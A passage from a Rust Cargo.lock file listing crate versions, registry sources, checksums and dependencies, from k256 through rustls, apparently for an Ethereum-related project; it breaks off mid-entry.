1885 | dependencies = [ 1886 | "wasm-bindgen", 1887 | ] 1888 | 1889 | [[package]] 1890 | name = "k256" 1891 | version = "0.11.6" 1892 | source = "registry+https://github.com/rust-lang/crates.io-index" 1893 | checksum = "72c1e0b51e7ec0a97369623508396067a486bd0cbed95a2659a4b863d28cfc8b" 1894 | dependencies = [ 1895 | "cfg-if", 1896 | "ecdsa", 1897 | "elliptic-curve", 1898 | "sha2 0.10.6", 1899 | "sha3", 1900 | ] 1901 | 1902 | [[package]] 1903 | name = "keccak" 1904 | version = "0.1.3" 1905 | source = "registry+https://github.com/rust-lang/crates.io-index" 1906 | checksum = "3afef3b6eff9ce9d8ff9b3601125eec7f0c8cbac7abd14f355d053fa56c98768" 1907 | dependencies = [ 1908 | "cpufeatures", 1909 | ] 1910 | 1911 | [[package]] 1912 | name = "lalrpop" 1913 | version = "0.19.8" 1914 | source = "registry+https://github.com/rust-lang/crates.io-index" 1915 | checksum = "b30455341b0e18f276fa64540aff54deafb54c589de6aca68659c63dd2d5d823" 1916 | dependencies = [ 1917 | "ascii-canvas", 1918 | "atty", 1919 | "bit-set", 1920 | "diff", 1921 | "ena", 1922 | "itertools", 1923 | "lalrpop-util", 1924 | "petgraph", 1925 | "pico-args", 1926 | "regex", 1927 | "regex-syntax", 1928 | "string_cache", 1929 | "term", 1930 | "tiny-keccak", 1931 | "unicode-xid", 1932 | ] 1933 | 1934 | [[package]] 1935 | name = "lalrpop-util" 1936 | version = "0.19.8" 1937 | source = "registry+https://github.com/rust-lang/crates.io-index" 1938 | checksum = "bcf796c978e9b4d983414f4caedc9273aa33ee214c5b887bd55fde84c85d2dc4" 1939 | dependencies = [ 1940 | "regex", 1941 | ] 1942 | 1943 | [[package]] 1944 | name = "lazy_static" 1945 | version = "1.4.0" 1946 | source = "registry+https://github.com/rust-lang/crates.io-index" 1947 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 1948 | 1949 | [[package]] 1950 | name = "libc" 1951 | version = "0.2.138" 1952 | source = "registry+https://github.com/rust-lang/crates.io-index" 1953 | checksum = "db6d7e329c562c5dfab7a46a2afabc8b987ab9a4834c9d1ca04dc54c1546cef8" 1954 | 1955 | [[package]] 1956 | name = "link-cplusplus" 1957 | version = "1.0.8" 1958 | source = "registry+https://github.com/rust-lang/crates.io-index" 1959 | checksum = "ecd207c9c713c34f95a097a5b029ac2ce6010530c7b49d7fea24d977dede04f5" 1960 | dependencies = [ 1961 | "cc", 1962 | ] 1963 | 1964 | [[package]] 1965 | name = "lock_api" 1966 | version = "0.4.9" 1967 | source = "registry+https://github.com/rust-lang/crates.io-index" 1968 | checksum = "435011366fe56583b16cf956f9df0095b405b82d76425bc8981c0e22e60ec4df" 1969 | dependencies = [ 1970 | "autocfg", 1971 | "scopeguard", 1972 | ] 1973 | 1974 | [[package]] 1975 | name = "log" 1976 | version = "0.4.17" 1977 | source = "registry+https://github.com/rust-lang/crates.io-index" 1978 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" 1979 | dependencies = [ 1980 | "cfg-if", 1981 | ] 1982 | 1983 | [[package]] 1984 | name = "md-5" 1985 | version = "0.10.5" 1986 | source = "registry+https://github.com/rust-lang/crates.io-index" 1987 | checksum = "6365506850d44bff6e2fbcb5176cf63650e48bd45ef2fe2665ae1570e0f4b9ca" 1988 | dependencies = [ 1989 | "digest 0.10.6", 1990 | ] 1991 | 1992 | [[package]] 1993 | name = "memchr" 1994 | version = "2.5.0" 1995 | source = "registry+https://github.com/rust-lang/crates.io-index" 1996 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" 1997 | 1998 | [[package]] 1999 | name = "memoffset" 2000 | version = "0.7.1" 2001 | source = "registry+https://github.com/rust-lang/crates.io-index" 2002 | checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" 2003 | dependencies = [ 2004 | "autocfg", 2005 | ] 2006 | 2007 | [[package]] 2008 | name = "mime" 2009 | version = "0.3.16" 2010 | source = "registry+https://github.com/rust-lang/crates.io-index" 2011 | checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d" 2012 | 2013 | [[package]] 2014 | name = "miniz_oxide" 2015 | version = "0.6.2" 2016 | source = "registry+https://github.com/rust-lang/crates.io-index" 2017 | checksum = "b275950c28b37e794e8c55d88aeb5e139d0ce23fdbbeda68f8d7174abdf9e8fa" 2018 | dependencies = [ 2019 | "adler", 2020 | ] 2021 | 2022 | [[package]] 2023 | name = "mio" 2024 | version = "0.8.5" 2025 | source = "registry+https://github.com/rust-lang/crates.io-index" 2026 | checksum = "e5d732bc30207a6423068df043e3d02e0735b155ad7ce1a6f76fe2baa5b158de" 2027 | dependencies = [ 2028 | "libc", 2029 | "log", 2030 | "wasi 0.11.0+wasi-snapshot-preview1", 2031 | "windows-sys 0.42.0", 2032 | ] 2033 | 2034 | [[package]] 2035 | name = "native-tls" 2036 | version = "0.2.11" 2037 | source = "registry+https://github.com/rust-lang/crates.io-index" 2038 | checksum = "07226173c32f2926027b63cce4bcd8076c3552846cbe7925f3aaffeac0a3b92e" 2039 | dependencies = [ 2040 | "lazy_static", 2041 | "libc", 2042 | "log", 2043 | "openssl", 2044 | "openssl-probe", 2045 | "openssl-sys", 2046 | "schannel", 2047 | "security-framework", 2048 | "security-framework-sys", 2049 | "tempfile", 2050 | ] 2051 | 2052 | [[package]] 2053 | name = "new_debug_unreachable" 2054 | version = "1.0.4" 2055 | source = "registry+https://github.com/rust-lang/crates.io-index" 2056 | checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54" 2057 | 2058 | [[package]] 2059 | name = "num-bigfloat" 2060 | version = "1.6.2" 2061 | source = "registry+https://github.com/rust-lang/crates.io-index" 2062 | checksum = "a56a51331d84e5827f5f875945e505f3c4e54a13fb31153449b1c994c159b883" 2063 | dependencies = [ 2064 | "num-traits", 2065 | "rand", 2066 | "serde", 2067 | ] 2068 | 2069 | [[package]] 2070 | name = "num-integer" 2071 | version = "0.1.45" 2072 | source = "registry+https://github.com/rust-lang/crates.io-index" 2073 | checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" 2074 | dependencies = [ 2075 | "autocfg", 2076 | "num-traits", 2077 | ] 2078 | 2079 | [[package]] 2080 | name = "num-traits" 2081 | version = "0.2.15" 2082 | source = "registry+https://github.com/rust-lang/crates.io-index" 2083 | checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd" 2084 | dependencies = [ 2085 | "autocfg", 2086 | ] 2087 | 2088 | [[package]] 2089 | name = "num_cpus" 2090 | version = "1.14.0" 2091 | source = "registry+https://github.com/rust-lang/crates.io-index" 2092 | checksum = "f6058e64324c71e02bc2b150e4f3bc8286db6c83092132ffa3f6b1eab0f9def5" 2093 | dependencies = [ 2094 | "hermit-abi", 2095 | "libc", 2096 | ] 2097 | 2098 | [[package]] 2099 | name = "number_prefix" 2100 | version = "0.4.0" 2101 | source = "registry+https://github.com/rust-lang/crates.io-index" 2102 | checksum = "830b246a0e5f20af87141b25c173cd1b609bd7779a4617d6ec582abaf90870f3" 2103 | 2104 | [[package]] 2105 | name = "once_cell" 2106 | version = "1.16.0" 2107 | source = "registry+https://github.com/rust-lang/crates.io-index" 2108 | checksum = "86f0b0d4bf799edbc74508c1e8bf170ff5f41238e5f8225603ca7caaae2b7860" 2109 | 2110 | [[package]] 2111 | name = "opaque-debug" 2112 | version = "0.2.3" 2113 | source = "registry+https://github.com/rust-lang/crates.io-index" 2114 | checksum = "2839e79665f131bdb5782e51f2c6c9599c133c6098982a54c794358bf432529c" 2115 | 2116 | [[package]] 2117 | name = "opaque-debug" 2118 | version = "0.3.0" 2119 | source = "registry+https://github.com/rust-lang/crates.io-index" 2120 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" 2121 | 2122 | [[package]] 2123 | name = "open-fastrlp" 2124 | version = "0.1.4" 2125 | source = "registry+https://github.com/rust-lang/crates.io-index" 2126 | checksum = "786393f80485445794f6043fd3138854dd109cc6c4bd1a6383db304c9ce9b9ce" 2127 | dependencies = [ 2128 | "arrayvec", 2129 | "auto_impl 1.0.1", 2130 | "bytes", 2131 | "ethereum-types", 2132 | "open-fastrlp-derive", 2133 | ] 2134 | 2135 | [[package]] 2136 | name = "open-fastrlp-derive" 2137 | version = "0.1.1" 2138 | source = "registry+https://github.com/rust-lang/crates.io-index" 2139 | checksum = "003b2be5c6c53c1cfeb0a238b8a1c3915cd410feb684457a36c10038f764bb1c" 2140 | dependencies = [ 2141 | "bytes", 2142 | "proc-macro2", 2143 | "quote", 2144 | "syn", 2145 | ] 2146 | 2147 | [[package]] 2148 | name = "openssl" 2149 | version = "0.10.45" 2150 | source = "registry+https://github.com/rust-lang/crates.io-index" 2151 | checksum = "b102428fd03bc5edf97f62620f7298614c45cedf287c271e7ed450bbaf83f2e1" 2152 | dependencies = [ 2153 | "bitflags", 2154 | "cfg-if", 2155 | "foreign-types", 2156 | "libc", 2157 | "once_cell", 2158 | "openssl-macros", 2159 | "openssl-sys", 2160 | ] 2161 | 2162 | [[package]] 2163 | name = "openssl-macros" 2164 | version = "0.1.0" 2165 | source = "registry+https://github.com/rust-lang/crates.io-index" 2166 | checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c" 2167 | dependencies = [ 2168 | "proc-macro2", 2169 | "quote", 2170 | "syn", 2171 | ] 2172 | 2173 | [[package]] 2174 | name = "openssl-probe" 2175 | version = "0.1.5" 2176 | source = "registry+https://github.com/rust-lang/crates.io-index" 2177 | checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" 2178 | 2179 | [[package]] 2180 | name = "openssl-sys" 2181 | version = "0.9.80" 2182 | source = "registry+https://github.com/rust-lang/crates.io-index" 2183 | checksum = "23bbbf7854cd45b83958ebe919f0e8e516793727652e27fda10a8384cfc790b7" 2184 | dependencies = [ 2185 | "autocfg", 2186 | "cc", 2187 | "libc", 2188 | "pkg-config", 2189 | "vcpkg", 2190 | ] 2191 | 2192 | [[package]] 2193 | name = "os_str_bytes" 2194 | version = "6.4.1" 2195 | source = "registry+https://github.com/rust-lang/crates.io-index" 2196 | checksum = "9b7820b9daea5457c9f21c69448905d723fbd21136ccf521748f23fd49e723ee" 2197 | 2198 | [[package]] 2199 | name = "parity-scale-codec" 2200 | version = "3.2.1" 2201 | source = "registry+https://github.com/rust-lang/crates.io-index" 2202 | checksum = "366e44391a8af4cfd6002ef6ba072bae071a96aafca98d7d448a34c5dca38b6a" 2203 | dependencies = [ 2204 | "arrayvec", 2205 | "bitvec 1.0.1", 2206 | "byte-slice-cast", 2207 | "impl-trait-for-tuples", 2208 | "parity-scale-codec-derive", 2209 | "serde", 2210 | ] 2211 | 2212 | [[package]] 2213 | name = "parity-scale-codec-derive" 2214 | version = "3.1.3" 2215 | source = "registry+https://github.com/rust-lang/crates.io-index" 2216 | checksum = "9299338969a3d2f491d65f140b00ddec470858402f888af98e8642fb5e8965cd" 2217 | dependencies = [ 2218 | "proc-macro-crate", 2219 | "proc-macro2", 2220 | "quote", 2221 | "syn", 2222 | ] 2223 | 2224 | [[package]] 2225 | name = "parking_lot" 2226 | version = "0.11.2" 2227 | source = "registry+https://github.com/rust-lang/crates.io-index" 2228 | checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" 2229 | dependencies = [ 2230 | "instant", 2231 | "lock_api", 2232 | "parking_lot_core 0.8.5", 2233 | ] 2234 | 2235 | [[package]] 2236 | name = "parking_lot" 2237 | version = "0.12.1" 2238 | source = "registry+https://github.com/rust-lang/crates.io-index" 2239 | checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" 2240 | dependencies = [ 2241 | "lock_api", 2242 | "parking_lot_core 0.9.5", 2243 | ] 2244 | 2245 | [[package]] 2246 | name = "parking_lot_core" 2247 | version = "0.8.5" 2248 | source = "registry+https://github.com/rust-lang/crates.io-index" 2249 | checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216" 2250 | dependencies = [ 2251 | "cfg-if", 2252 | "instant", 2253 | "libc", 2254 | "redox_syscall", 2255 | "smallvec", 2256 | "winapi", 2257 | ] 2258 | 2259 | [[package]] 2260 | name = "parking_lot_core" 2261 | version = "0.9.5" 2262 | source = "registry+https://github.com/rust-lang/crates.io-index" 2263 | checksum = "7ff9f3fef3968a3ec5945535ed654cb38ff72d7495a25619e2247fb15a2ed9ba" 2264 | dependencies = [ 2265 | "cfg-if", 2266 | "libc", 2267 | "redox_syscall", 2268 | "smallvec", 2269 | "windows-sys 0.42.0", 2270 | ] 2271 | 2272 | [[package]] 2273 | name = "password-hash" 2274 | version = "0.4.2" 2275 | source = "registry+https://github.com/rust-lang/crates.io-index" 2276 | checksum = "7676374caaee8a325c9e7a2ae557f216c5563a171d6997b0ef8a65af35147700" 2277 | dependencies = [ 2278 | "base64ct", 2279 | "rand_core", 2280 | "subtle", 2281 | ] 2282 | 2283 | [[package]] 2284 | name = "path-slash" 2285 | version = "0.2.1" 2286 | source = "registry+https://github.com/rust-lang/crates.io-index" 2287 | checksum = "1e91099d4268b0e11973f036e885d652fb0b21fedcf69738c627f94db6a44f42" 2288 | 2289 | [[package]] 2290 | name = "pbkdf2" 2291 | version = "0.11.0" 2292 | source = "registry+https://github.com/rust-lang/crates.io-index" 2293 | checksum = "83a0692ec44e4cf1ef28ca317f14f8f07da2d95ec3fa01f86e4467b725e60917" 2294 | dependencies = [ 2295 | "digest 0.10.6", 2296 | "hmac", 2297 | "password-hash", 2298 | "sha2 0.10.6", 2299 | ] 2300 | 2301 | [[package]] 2302 | name = "percent-encoding" 2303 | version = "2.2.0" 2304 | source = "registry+https://github.com/rust-lang/crates.io-index" 2305 | checksum = "478c572c3d73181ff3c2539045f6eb99e5491218eae919370993b890cdbdd98e" 2306 | 2307 | [[package]] 2308 | name = "petgraph" 2309 | version = "0.6.2" 2310 | source = "registry+https://github.com/rust-lang/crates.io-index" 2311 | checksum = "e6d5014253a1331579ce62aa67443b4a658c5e7dd03d4bc6d302b94474888143" 2312 | dependencies = [ 2313 | "fixedbitset", 2314 | "indexmap", 2315 | ] 2316 | 2317 | [[package]] 2318 | name = "pharos" 2319 | version = "0.5.3" 2320 | source = "registry+https://github.com/rust-lang/crates.io-index" 2321 | checksum = "e9567389417feee6ce15dd6527a8a1ecac205ef62c2932bcf3d9f6fc5b78b414" 2322 | dependencies = [ 2323 | "futures", 2324 | "rustc_version", 2325 | ] 2326 | 2327 | [[package]] 2328 | name = "phf" 2329 | version = "0.10.1" 2330 | source = "registry+https://github.com/rust-lang/crates.io-index" 2331 | checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" 2332 | dependencies = [ 2333 | "phf_macros", 2334 | "phf_shared", 2335 | "proc-macro-hack", 2336 | ] 2337 | 2338 | [[package]] 2339 | name = "phf_generator" 2340 | version = "0.10.0" 2341 | source = "registry+https://github.com/rust-lang/crates.io-index" 2342 | checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6" 2343 | dependencies = [ 2344 | "phf_shared", 2345 | "rand", 2346 | ] 2347 | 2348 | [[package]] 2349 | name = "phf_macros" 2350 | version = "0.10.0" 2351 | source = "registry+https://github.com/rust-lang/crates.io-index" 2352 | checksum = "58fdf3184dd560f160dd73922bea2d5cd6e8f064bf4b13110abd81b03697b4e0" 2353 | dependencies = [ 2354 | "phf_generator", 2355 | "phf_shared", 2356 | "proc-macro-hack", 2357 | "proc-macro2", 2358 | "quote", 2359 | "syn", 2360 | ] 2361 | 2362 | [[package]] 2363 | name = "phf_shared" 2364 | version = "0.10.0" 2365 | source = "registry+https://github.com/rust-lang/crates.io-index" 2366 | checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" 2367 | dependencies = [ 2368 | "siphasher", 2369 | ] 2370 | 2371 | [[package]] 2372 | name = "pico-args" 2373 | version = "0.4.2" 2374 | source = "registry+https://github.com/rust-lang/crates.io-index" 2375 | checksum = "db8bcd96cb740d03149cbad5518db9fd87126a10ab519c011893b1754134c468" 2376 | 2377 | [[package]] 2378 | name = "pin-project" 2379 | version = "1.0.12" 2380 | source = "registry+https://github.com/rust-lang/crates.io-index" 2381 | checksum = "ad29a609b6bcd67fee905812e544992d216af9d755757c05ed2d0e15a74c6ecc" 2382 | dependencies = [ 2383 | "pin-project-internal", 2384 | ] 2385 | 2386 | [[package]] 2387 | name = "pin-project-internal" 2388 | version = "1.0.12" 2389 | source = "registry+https://github.com/rust-lang/crates.io-index" 2390 | checksum = "069bdb1e05adc7a8990dce9cc75370895fbe4e3d58b9b73bf1aee56359344a55" 2391 | dependencies = [ 2392 | "proc-macro2", 2393 | "quote", 2394 | "syn", 2395 | ] 2396 | 2397 | [[package]] 2398 | name = "pin-project-lite" 2399 | version = "0.2.9" 2400 | source = "registry+https://github.com/rust-lang/crates.io-index" 2401 | checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116" 2402 | 2403 | [[package]] 2404 | name = "pin-utils" 2405 | version = "0.1.0" 2406 | source = "registry+https://github.com/rust-lang/crates.io-index" 2407 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 2408 | 2409 | [[package]] 2410 | name = "pkcs8" 2411 | version = "0.9.0" 2412 | source = "registry+https://github.com/rust-lang/crates.io-index" 2413 | checksum = "9eca2c590a5f85da82668fa685c09ce2888b9430e83299debf1f34b65fd4a4ba" 2414 | dependencies = [ 2415 | "der", 2416 | "spki", 2417 | ] 2418 | 2419 | [[package]] 2420 | name = "pkg-config" 2421 | version = "0.3.26" 2422 | source = "registry+https://github.com/rust-lang/crates.io-index" 2423 | checksum = "6ac9a59f73473f1b8d852421e59e64809f025994837ef743615c6d0c5b305160" 2424 | 2425 | [[package]] 2426 | name = "portable-atomic" 2427 | version = "0.3.19" 2428 | source = "registry+https://github.com/rust-lang/crates.io-index" 2429 | checksum = "26f6a7b87c2e435a3241addceeeff740ff8b7e76b74c13bf9acb17fa454ea00b" 2430 | 2431 | [[package]] 2432 | name = "ppv-lite86" 2433 | version = "0.2.17" 2434 | source = "registry+https://github.com/rust-lang/crates.io-index" 2435 | checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" 2436 | 2437 | [[package]] 2438 | name = "precomputed-hash" 2439 | version = "0.1.1" 2440 | source = "registry+https://github.com/rust-lang/crates.io-index" 2441 | checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" 2442 | 2443 | [[package]] 2444 | name = "primitive-types" 2445 | version = "0.12.1" 2446 | source = "registry+https://github.com/rust-lang/crates.io-index" 2447 | checksum = "9f3486ccba82358b11a77516035647c34ba167dfa53312630de83b12bd4f3d66" 2448 | dependencies = [ 2449 | "fixed-hash", 2450 | "impl-codec", 2451 | "impl-rlp", 2452 | "impl-serde", 2453 | "scale-info", 2454 | "uint", 2455 | ] 2456 | 2457 | [[package]] 2458 | name = "proc-macro-crate" 2459 | version = "1.2.1" 2460 | source = "registry+https://github.com/rust-lang/crates.io-index" 2461 | checksum = "eda0fc3b0fb7c975631757e14d9049da17374063edb6ebbcbc54d880d4fe94e9" 2462 | dependencies = [ 2463 | "once_cell", 2464 | "thiserror", 2465 | "toml", 2466 | ] 2467 | 2468 | [[package]] 2469 | name = "proc-macro-error" 2470 | version = "1.0.4" 2471 | source = "registry+https://github.com/rust-lang/crates.io-index" 2472 | checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" 2473 | dependencies = [ 2474 | "proc-macro-error-attr", 2475 | "proc-macro2", 2476 | "quote", 2477 | "syn", 2478 | "version_check", 2479 | ] 2480 | 2481 | [[package]] 2482 | name = "proc-macro-error-attr" 2483 | version = "1.0.4" 2484 | source = "registry+https://github.com/rust-lang/crates.io-index" 2485 | checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" 2486 | dependencies = [ 2487 | "proc-macro2", 2488 | "quote", 2489 | "version_check", 2490 | ] 2491 | 2492 | [[package]] 2493 | name = "proc-macro-hack" 2494 | version = "0.5.19" 2495 | source = "registry+https://github.com/rust-lang/crates.io-index" 2496 | checksum = "dbf0c48bc1d91375ae5c3cd81e3722dff1abcf81a30960240640d223f59fe0e5" 2497 | 2498 | [[package]] 2499 | name = "proc-macro2" 2500 | version = "1.0.47" 2501 | source = "registry+https://github.com/rust-lang/crates.io-index" 2502 | checksum = "5ea3d908b0e36316caf9e9e2c4625cdde190a7e6f440d794667ed17a1855e725" 2503 | dependencies = [ 2504 | "unicode-ident", 2505 | ] 2506 | 2507 | [[package]] 2508 | name = "quote" 2509 | version = "1.0.21" 2510 | source = "registry+https://github.com/rust-lang/crates.io-index" 2511 | checksum = "bbe448f377a7d6961e30f5955f9b8d106c3f5e449d493ee1b125c1d43c2b5179" 2512 | dependencies = [ 2513 | "proc-macro2", 2514 | ] 2515 | 2516 | [[package]] 2517 | name = "radium" 2518 | version = "0.3.0" 2519 | source = "registry+https://github.com/rust-lang/crates.io-index" 2520 | checksum = "def50a86306165861203e7f84ecffbbdfdea79f0e51039b33de1e952358c47ac" 2521 | 2522 | [[package]] 2523 | name = "radium" 2524 | version = "0.7.0" 2525 | source = "registry+https://github.com/rust-lang/crates.io-index" 2526 | checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" 2527 | 2528 | [[package]] 2529 | name = "rand" 2530 | version = "0.8.5" 2531 | source = "registry+https://github.com/rust-lang/crates.io-index" 2532 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 2533 | dependencies = [ 2534 | "libc", 2535 | "rand_chacha", 2536 | "rand_core", 2537 | ] 2538 | 2539 | [[package]] 2540 | name = "rand_chacha" 2541 | version = "0.3.1" 2542 | source = "registry+https://github.com/rust-lang/crates.io-index" 2543 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 2544 | dependencies = [ 2545 | "ppv-lite86", 2546 | "rand_core", 2547 | ] 2548 | 2549 | [[package]] 2550 | name = "rand_core" 2551 | version = "0.6.4" 2552 | source = "registry+https://github.com/rust-lang/crates.io-index" 2553 | checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" 2554 | dependencies = [ 2555 | "getrandom", 2556 | ] 2557 | 2558 | [[package]] 2559 | name = "rayon" 2560 | version = "1.6.0" 2561 | source = "registry+https://github.com/rust-lang/crates.io-index" 2562 | checksum = "1e060280438193c554f654141c9ea9417886713b7acd75974c85b18a69a88e0b" 2563 | dependencies = [ 2564 | "crossbeam-deque", 2565 | "either", 2566 | "rayon-core", 2567 | ] 2568 | 2569 | [[package]] 2570 | name = "rayon-core" 2571 | version = "1.10.1" 2572 | source = "registry+https://github.com/rust-lang/crates.io-index" 2573 | checksum = "cac410af5d00ab6884528b4ab69d1e8e146e8d471201800fa1b4524126de6ad3" 2574 | dependencies = [ 2575 | "crossbeam-channel", 2576 | "crossbeam-deque", 2577 | "crossbeam-utils", 2578 | "num_cpus", 2579 | ] 2580 | 2581 | [[package]] 2582 | name = "redox_syscall" 2583 | version = "0.2.16" 2584 | source = "registry+https://github.com/rust-lang/crates.io-index" 2585 | checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" 2586 | dependencies = [ 2587 | "bitflags", 2588 | ] 2589 | 2590 | [[package]] 2591 | name = "redox_users" 2592 | version = "0.4.3" 2593 | source = "registry+https://github.com/rust-lang/crates.io-index" 2594 | checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" 2595 | dependencies = [ 2596 | "getrandom", 2597 | "redox_syscall", 2598 | "thiserror", 2599 | ] 2600 | 2601 | [[package]] 2602 | name = "regex" 2603 | version = "1.7.0" 2604 | source = "registry+https://github.com/rust-lang/crates.io-index" 2605 | checksum = "e076559ef8e241f2ae3479e36f97bd5741c0330689e217ad51ce2c76808b868a" 2606 | dependencies = [ 2607 | "aho-corasick", 2608 | "memchr", 2609 | "regex-syntax", 2610 | ] 2611 | 2612 | [[package]] 2613 | name = "regex-syntax" 2614 | version = "0.6.28" 2615 | source = "registry+https://github.com/rust-lang/crates.io-index" 2616 | checksum = "456c603be3e8d448b072f410900c09faf164fbce2d480456f50eea6e25f9c848" 2617 | 2618 | [[package]] 2619 | name = "remove_dir_all" 2620 | version = "0.5.3" 2621 | source = "registry+https://github.com/rust-lang/crates.io-index" 2622 | checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" 2623 | dependencies = [ 2624 | "winapi", 2625 | ] 2626 | 2627 | [[package]] 2628 | name = "reqwest" 2629 | version = "0.11.13" 2630 | source = "registry+https://github.com/rust-lang/crates.io-index" 2631 | checksum = "68cc60575865c7831548863cc02356512e3f1dc2f3f82cb837d7fc4cc8f3c97c" 2632 | dependencies = [ 2633 | "base64 0.13.1", 2634 | "bytes", 2635 | "encoding_rs", 2636 | "futures-core", 2637 | "futures-util", 2638 | "h2", 2639 | "http", 2640 | "http-body", 2641 | "hyper", 2642 | "hyper-rustls", 2643 | "hyper-tls", 2644 | "ipnet", 2645 | "js-sys", 2646 | "log", 2647 | "mime", 2648 | "native-tls", 2649 | "once_cell", 2650 | "percent-encoding", 2651 | "pin-project-lite", 2652 | "rustls", 2653 | "rustls-pemfile", 2654 | "serde", 2655 | "serde_json", 2656 | "serde_urlencoded", 2657 | "tokio", 2658 | "tokio-native-tls", 2659 | "tokio-rustls", 2660 | "tower-service", 2661 | "url", 2662 | "wasm-bindgen", 2663 | "wasm-bindgen-futures", 2664 | "web-sys", 2665 | "webpki-roots", 2666 | "winreg", 2667 | ] 2668 | 2669 | [[package]] 2670 | name = "rfc6979" 2671 | version = "0.3.1" 2672 | source = "registry+https://github.com/rust-lang/crates.io-index" 2673 | checksum = "7743f17af12fa0b03b803ba12cd6a8d9483a587e89c69445e3909655c0b9fabb" 2674 | dependencies = [ 2675 | "crypto-bigint", 2676 | "hmac", 2677 | "zeroize", 2678 | ] 2679 | 2680 | [[package]] 2681 | name = "ring" 2682 | version = "0.16.20" 2683 | source = "registry+https://github.com/rust-lang/crates.io-index" 2684 | checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc" 2685 | dependencies = [ 2686 | "cc", 2687 | "libc", 2688 | "once_cell", 2689 | "spin", 2690 | "untrusted", 2691 | "web-sys", 2692 | "winapi", 2693 | ] 2694 | 2695 | [[package]] 2696 | name = "ripemd" 2697 | version = "0.1.3" 2698 | source = "registry+https://github.com/rust-lang/crates.io-index" 2699 | checksum = "bd124222d17ad93a644ed9d011a40f4fb64aa54275c08cc216524a9ea82fb09f" 2700 | dependencies = [ 2701 | "digest 0.10.6", 2702 | ] 2703 | 2704 | [[package]] 2705 | name = "rlp" 2706 | version = "0.5.2" 2707 | source = "registry+https://github.com/rust-lang/crates.io-index" 2708 | checksum = "bb919243f34364b6bd2fc10ef797edbfa75f33c252e7998527479c6d6b47e1ec" 2709 | dependencies = [ 2710 | "bytes", 2711 | "rustc-hex", 2712 | ] 2713 | 2714 | [[package]] 2715 | name = "rlp-derive" 2716 | version = "0.1.0" 2717 | source = "registry+https://github.com/rust-lang/crates.io-index" 2718 | checksum = "e33d7b2abe0c340d8797fe2907d3f20d3b5ea5908683618bfe80df7f621f672a" 2719 | dependencies = [ 2720 | "proc-macro2", 2721 | "quote", 2722 | "syn", 2723 | ] 2724 | 2725 | [[package]] 2726 | name = "ruint" 2727 | version = "1.7.0" 2728 | source = "registry+https://github.com/rust-lang/crates.io-index" 2729 | checksum = "0ad3a104dc8c3867f653b0fec89c65e00b0ceb752718ad282177a7e0f33257ac" 2730 | dependencies = [ 2731 | "derive_more", 2732 | "ruint-macro", 2733 | "rustc_version", 2734 | "thiserror", 2735 | ] 2736 | 2737 | [[package]] 2738 | name = "ruint-macro" 2739 | version = "1.0.2" 2740 | source = "registry+https://github.com/rust-lang/crates.io-index" 2741 | checksum = "62cc5760263ea229d367e7dff3c0cbf09e4797a125bd87059a6c095804f3b2d1" 2742 | 2743 | [[package]] 2744 | name = "rustc-hex" 2745 | version = "2.1.0" 2746 | source = "registry+https://github.com/rust-lang/crates.io-index" 2747 | checksum = "3e75f6a532d0fd9f7f13144f392b6ad56a32696bfcd9c78f797f16bbb6f072d6" 2748 | 2749 | [[package]] 2750 | name = "rustc_version" 2751 | version = "0.4.0" 2752 | source = "registry+https://github.com/rust-lang/crates.io-index" 2753 | checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" 2754 | dependencies = [ 2755 | "semver", 2756 | ] 2757 | 2758 | [[package]] 2759 | name = "rustls" 2760 | version = "0.20.7" 2761 | source = "registry+https://github.com/rust-lang/crates.io-index" 2762 | checksum = "539a2bfe908f471bfa933876bd1eb6a19cf2176d375f82ef7f99530a40e48c2c" 2763 | dependencies = [ 2764 | "log", 2765 | "ring", 2766 | "sct", 2767 | "webpki", 2768 | ] 2769 | 2770 | [[package]] 2771 | name = "rustls-pemfile" 2772 | version = "1.0.1" 2773 | source = 